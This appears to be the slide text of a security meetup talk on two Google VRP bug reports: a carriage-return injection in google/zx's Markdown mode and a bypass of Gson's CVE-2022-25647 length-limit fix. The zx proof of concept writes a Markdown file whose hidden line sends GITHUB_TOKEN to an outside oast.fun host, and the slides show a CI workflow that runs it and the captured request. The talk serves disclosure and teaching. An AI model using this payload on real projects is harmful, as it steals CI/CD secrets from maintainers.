Two Bugs to rule them all

(Tedsig42) Ted KOUHOUENOU

[11/04/2026 - 19:30]

HACKTHEBOX

Google Bug Hunters

Hackthebox Meetup Benin

Contents

Google VRP Presentation
- What is Google VRP
- Google-owned product
- What is security Vulnerability

1st Bug : Comment Injection in zx
- What is zx ?
- One \r to rule them all
- Exploitation
- Google Response and Lesson
- My Fix proposition

2nd Bug : Cve fix Bypass in Gson
- Gson not Json
- Cve History of Gson
- How to Bypass a cve ? Bypass fix of CVE-2022-25647
- Google Response and Reward

Q & A

slides→tednoob17.github.io/assets/meetup-htb.pdf

Info sheet

Name: Ted Régis Kouhouenou

Alias: Tedsig42

Day job: Independent Vulnerability Researcher & Bug bounty Hunter

Night job(s): Open Source Contributor on

The Hacker Recipes, Exegol, Dom-Explorer, Caido, etc …

Tedsig42

Google VRP Presentation

Google Bug Hunters

Google VRP & Google Owned-Product

Google **Vulnerability Reward Program (VRP)** is a premier bug bounty initiative where ethical hackers are paid for finding and reporting security flaws in Google's ecosystem.

Google defines "Google-owned products" as virtually any web service, hardware, or software published by Google LLC or its **Alphabet (Bet) subsidiaries** that handles sensitive user data.

Core Products in Scope

Google-owned products in scope for the **VRP** include:

- **Web Services:** All major domains like **Google Search**, **YouTube**, **Gmail**, and **Blogger**.
- **Alphabet Companies:** Services from **Waymo**, **Nest**, **Fitbit**, and **Waze**.
- **Hardware: Pixel** phones, **Nest** devices, and **Fitbit** wearables.
- **Software: Chrome** browser, **Android** OS, and **Google Cloud** (GCP).
- **Apps:** Any mobile app published by **Google LLC** on Play Store or App Store.

Exclusions: It does *not* cover third-party apps hosted on Google Cloud or websites Google doesn't directly control.

What is security vulnerability

A **Security Vulnerability** is a **weakness** in a system's code or configuration that allows an attacker to compromise its **Confidentiality**, **Integrity**, or **Availability**.

On the **Google Bug Hunters** **"Learn"** portal, Google specifically looks for bugs that have a clear **Attack Scenario**.

What Google wants in your report:

- **Description:** Clear explanation of the flaw.
- **Proof of Concept (PoC):** Step-by-step instructions to reproduce the bug.
- **Impact:** Explain why this is dangerous for Google users.

1st Bug : Comment Injection in zx

What is zx ?

"ZX" refers to **google/zx**, a popular Node.js library used for writing better shell scripts in JavaScript or TypeScript.

It simplifies command execution by providing wrappers around `child_process`, automatic argument escaping, and sensible defaults, allowing developers to avoid complex Bash syntax.

One \r to rule them all

I discovered a vulnerability in `google/zx` where a Carriage Return (`\r`) allows arbitrary code execution in Markdown files right under the nose of code reviewers.

It allows you to write scripts in **JavaScript**, but with the ease of a shell. You can write commands like `await $\`ls\`` directly inside your code.

The Markdown Script Feature

The most magical part of zx and where our tragedy begins is its ability to execute **Markdown** files (.md).

- **The Intent**: A developer writes documentation and includes code blocks (**three backtick**).
- **The Mechanism** : When you run `zx script.md`, **zx** parses the file. It treats the text as comments and the code blocks as executable commands.
- **The Sandbox** : To keep things safe, **zx** is supposed to “silence” any text that isn’t inside a formal **code block** by wrapping it in **JavaScript** comments (`//`).

The Problem

The `transformMarkdown` function in `src/md.ts` is responsible for **parsing Markdown** files and converting them into executable JavaScript scripts.

It iterates through the file content by splitting it using the regex `/\r?\n/` (matching **LF** or **CRLF**). However, this regex does not match a standalone **Carriage Return** (`\r`) character.

```
18  export function transformMarkdown(buf: Buffer | string): string {
19    const output = []
20    const tabRe = /^(  +|\t)/
21    const codeBlockRe =
22      /^(?<fence>(`{3,20}|~{3,20}))(?:(?<js>(js|javascript|ts|typescript))|(?<bash>(sh|shell|bash))|.*)$/
23    let state = 'root'
24    let codeBlockEnd = ''
25    let prevLineIsEmpty = true
26    for (const line of bufToString(buf).split(/\r?\n/)) {
27      switch (state) {
28        case 'root':
29          if (tabRe.test(line) && prevLineIsEmpty) {
30            output.push(line)
31            state = 'tab'
32            continue
33          }
```

The attack Vector

The **attack vector** is not about `executing untrusted Markdown.`

It is about the **inability** to audit Markdown before **execution**.

This vulnerability allows an attacker to bypass manual code reviews by hiding executable commands inside documentation strings that `zx` fails to properly comment out due to the `\r` parsing anomaly.

- **The Starting Position** : The attackers is a **contributors** to a popular Open Source project that uses zx for it automation (e.g., a setup.md or deploy.md file).
  The attacker has no special privilege other than the ability to submit a PR
- **The Goal** : The attacker wants to steal the **CI/CD** secrets (like `NPM_TOKEN`, `AWS_ACCESS_KEY`, `or GITHUB_TOKEN`) from the project build environment or from the local machine of a maintainer who reviews the code.
- **The Strategy** : The attacker exploits the Interpretation Conflict between the `zx` parser and the `Node.js` engine to hide malicious code inside what looks like harmless documentation.

Exploitation

Show a POC

```
tedsig42@exegol:~$ npm i zx -g

tedsig42@exegol:~/poc$ zx -v

tedsig42@exegol:~/poc$ node -e "require('fs').writeFileSync('poc.md', 'Check
logs...\rconsole.log(\'TOKEN:\', process.env.GITHUB_TOKEN); fetch(\'https://your_url.oast.fun/?leak=\' +
process.env.GITHUB_TOKEN)')"

tedsig42@exegol:~/poc$  cat poc.md

tedsig42@exegol:~/poc$ cat -e poc.md

tedsig42@exegol:~/poc$ zx poc.md
```

Exploitation

Code | Blame | 23 lines (19 loc) · 553 Bytes

```yaml
name: Documentation Check
on: [push, pull_request]

jobs:
  check-docs:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Install Node and zx
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - run: npm install -g zx

      - name: Run setup guide
        # This is where the hidden code executes.
        # It has access to the GITHUB_TOKEN environment variable.
        run: zx poc.md
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
```

Exploitation

Install Linux Mint

Interactsh | Web Client — Mozilla Firefox

app.interactsh.com

interactsh | DarkSynthBlue | Auto Download | oast.fun | Reset | Notifications | Export | Terms | About

Refresh

qgiofgxlcsbxnelgcjyepgdtdvlowb6qm....

#	TIME	TYPE
10	less than a minute ago	http
9	less than a minute ago	dns
8	less than a minute ago	dns
7	less than a minute ago	dns
6	less than a minute ago	dns
5	1 minute ago	http
4	1 minute ago	dns
3	1 minute ago	dns

Request | Response

From IP address: 135.232.224.90 at 2026-02-11_08:47

this_is_a_secret (~)

File Edit View Search Tools Documents Help

Plain Text | Copy the selection | Col 1 | INS

Request

Copy

```
GET /?leak=ghs
Host:qgiofgxlcsbxnelgcjyepgdtdvlowb6qm.oast.fun
Accept:*/*
Accept-Encoding:br, gzip, deflate
Accept-Language:*
Connection:keep-alive
Sec-Fetch-Mode:cors
User-Agent:node
```

Response

Copy

```
HTTP/1.1 200 OK
Connection:close
Access-Control-Allow-Credentials:true
Access-Control-Allow-Headers:Content-Type, Authorization
Access-Control-Allow-Origin:*
Server:oast.fun
X-Interactsh-Version:1.2.2
```

Google Response and Lesson

EP...@GOOGLE.COM FEB 11, 2026 | 17:13 | #6

CLOSED Status updated

Hi! We've decided that the issue you reported is not severe enough for us to track it as a security bug. When we file a security vulnerability to product teams, we impose monitoring and escalation processes for teams to follow, and the security risk described in this report does not meet the threshold that we require for this type of escalation on behalf of the security team.

Please feel free to publicly disclose this issue on GitHub as a public issue.

Thanks again for your report and time,
The Google Bug Hunter Team

Google Response and Lesson

Google's logic is likely:

- **User Responsibility**: They believe that if a user runs `zx some-file.md` the **user is responsible for trusting** that file first.
- **The "Feature" Argument**: Since `zx` is designed to run code from Markdown, they see "unintended" code execution as a minor parsing flaw rather than a catastrophic security breach.

Lesson:

This bug help me to differentiate a real bug who can impact enterprise threat model . In professional security, we often talk about the **Threat Model**. This bug is the perfect example of a vulnerability that exists not in the code itself, but in the gap between how humans work and how machines execute. Thanks to **Google Security Team** for advice and for resources in their learn platform.

My Fix Proposition

Closed **[Bug]: Arbitrary code execution in Markdown mode via Carriage Return (\r) injection** #1403

#1416

Please **@antonmedv** **@azu** **@precision** **@antongolub** it's possible to merge a fix ? i already that you add in docs this : `97e975c` , but nothing here, no note, or another things like that, i previously specify that my report will be disclose tomorrow (on google vrp platform), i just want your approval before dot it.

antonmedv on Feb 18 Collaborator

Lets wait.

GautamGoyal2341 mentioned this on Feb 22

fix: properly handle all ECMAScript line terminators in transformMark... #1416

antongolub closed this as completed in #1416 on Feb 24

I open Issue and Pull Request

My Fix Proposition

I open Issue and Pull Request

Fix a shadow remote code execution #1404

Closed Tednoob17 wants to merge 2 commits into google:main from Tednoob17:main

Conversation 14 | Commits 2 | Checks 1 | Files changed 1

All commits

Filter files...

- src
  - md.ts 1

src/md.ts

```diff
@@ -23,7 +23,7 @@
 23 23    let state = 'root'
 24 24    let codeBlockEnd = ''
 25 25    let prevLineIsEmpty = true
-26      for (const line of bufToString(buf).split(/\r?\n/)) {
+   26   for (const line of bufToString(buf).split(/\r?\n|\r|\u2028|\u2029/)) {
```

2nd Bug : Cve fix Bypass in Gson

Gson not Json

Gson (Google JSON) is an open-source **Java library** developed by Google. Its primary purpose is to convert Java Objects into their JSON representation (serialization) and to convert a JSON string back into an equivalent Java object (deserialization).

How Gson Works

To understand Gson, you have to look at the two-way street it creates between your Java code and the JSON format.

1. Serialization (Object -> JSON)

If you have a Java object (e.g., a `User` class with a name and age), Gson "reads" the fields of that object and writes them into a JSON string.

- **Java:** `User user = new User("Ted", 26);`
- **Gson Output:** `{"name":"Ted", "age":26}`

2. Deserialization (JSON → Object)

When you receive data from an API or a file in JSON format, Gson "maps" those values back into a new instance of your Java class.

CVE history of Gson

Since 2008, During 17 years only one Cve was be affected to Gson.

CVE-2022-25647: **(Severity: High - CVSS 7.7)**

- **Description:** This is an insecure deserialization vulnerability affecting versions prior to **2.8.9**.
- **Technical Detail:** The flaw exists in the `writeReplace()` method within certain internal classes. An attacker can craft a malicious JSON payload that, when processed, triggers this method to deserialize untrusted data.
- **Impact:** Primarily leads to **Denial of Service (DoS)** through resource exhaustion. While it is a deserialization flaw, it is generally not considered a Remote Code Execution (RCE) vector in standard configurations, though it can significantly disrupt application availability.
- **Mitigation:** Upgrade to version **2.8.9** or later.

For fix

To address this, Google has introduced a NumberLimits class that imposes a strict limit: a maximum of 10,000 characters for a numeric string. If a number exceeds this limit, Gson is expected to throw an exception.

How to bypass a cve ? Bypass fix of CVE-2022-25647

Incomplete Fix

The method: Identify the class or function that has been modified for the fix.

Ask yourself: “Are there any other methods in this class (or in child classes) that manipulate the same sensitive data without calling the new protection mechanism?”

In our case: The fix protected intValue(), but they forgot the technical ‘siblings’ (floatValue(), doubleValue()).

How to bypass a cve ? Bypass fix of CVE-2022-25647

Bypass Mechanism: Validation Inconsistency

The bypass relies on a **Control Flow Omission** between Gson's lazy storage layer (`LazilyParsedNumber`) and the JVM's native sinks.

1. Entry Point (The "Payload Storage"): During deserialization, if a field is typed as `Number`, Gson uses the `LAZILY_PARSED_NUMBER` strategy. The malicious number string (exceeding 10,000 characters) is accepted without immediate validation and stored as a raw `String` inside the `LazilyParsedNumber` object.

2. The Flaw (Asymmetric Validation): The security mitigation introduced for CVE-2022-25647 (`NumberLimits`) is not applied uniformly across all accessors in `LazilyParsedNumber.java`:

- **Protected Path (`int`, `long`):** These calls route through `asBigDecimal()`, which explicitly triggers `NumberLimits.checkNumberStringLength()`. The attack is blocked.
- **Vulnerable Path (`float`, `double`):** These methods **bypass** the `NumberLimits` guard entirely by passing the raw, oversized string directly to the Java standard library's parsing functions.

How to bypass a cve ? Bypass fix of CVE-2022-25647

```java
// --- PROTECTED PATH (Safe) ---
private BigDecimal asBigDecimal() {
    // Correctly calls NumberLimits to enforce length caps
    return NumberLimits.parseBigDecimal(value);
}

@Override
public int intValue() {
    return asBigDecimal().intValue(); // Inherits protection
}

// --- VULNERABLE PATH (The Bypass) ---
@Override
public float floatValue() {
    // MISSING: NumberLimits.checkNumberStringLength(value);
    return Float.parseFloat(value); // Calls native sink directly
}

@Override
public double doubleValue() {
    // MISSING: NumberLimits.checkNumberStringLength(value);
    return Double.parseDouble(value); // Direct bypass of CVE-2022-25647 fix
}
```

The bypass works because `Float.parseFloat()` and `Double.parseDouble()` act as **unprotected sinks**.
They process the full malicious string, ignoring the 10,000-character boundary that the library was intended to enforce.

Google Response and Reward

First, please note that I initially opened this report on Feb 15th. It required extensive follow-up to get the bug recognized. The report was closed three times previously due to a lack of clarity regarding the project scope and initial misunderstandings during the triage process.

Incomplete fix for CVE-2022-25647 — NumberLimits protection bypass in LazilyParsedNumber.floatValue() and doubleValue()

Google VRP - issu.ee[redacted]

CLOSED
13:42 | Feb 15, 2026

TRIAGED
14:32 | Feb 16, 2026

CLOSED
21:53 | Mar 5, 2026

TRIAGED
08:10 | Mar 6, 2026

CLOSED
23:48 | Mar 6, 2026

TRIAGED
08:56 | Mar 10, 2026

ACCEPTED
14:27 | Mar 10, 2026

CLOSED
03:45 | Apr 3, 2026

Google Response and Reward

SP...@GOOGLE.COM APR 3, 2026 | 03:45 | #24

CLOSED Status updated

NOTE: This is an automatically generated email

Hello,

Our systems show that the bug we created based on your report **has been closed without providing a fix.**

This may have happened for various reasons: the risk impact might be too small to warrant a fix, there might be other mitigating factors, or simply the product is not maintained anymore.

The exact status is **INTENDED_BEHAVIOR.** This decision has been made by the relevant product teams and does not affect your VRP reward amount or Leaderboard position.

The bug was marked as 'Won't Fix' due to the high engineering cost required for a global remediation. Despite the decision to accept the risk, the report was qualified for a bounty, and I have received the reward.

Reward amounts

The following table outlines typical rewards for the tier.

Category	OTO (Flagship)
Supply chain compromises	$3,133.7 - $31,337
Product vulnerabilities	$500 - $7,500
Other security issues	$1,000

2 can be disclosed

https://tednoob17.github.io

Tedsig42

Benin Joined December 2023

EDIT PROFILE

3424	0	2
Leaderboard rank	Public reports	Awards

Reports

Awards

18 REPORTS <!--showValues----------

18 Reports / 2 bugs closed / 16 accepted

Q & A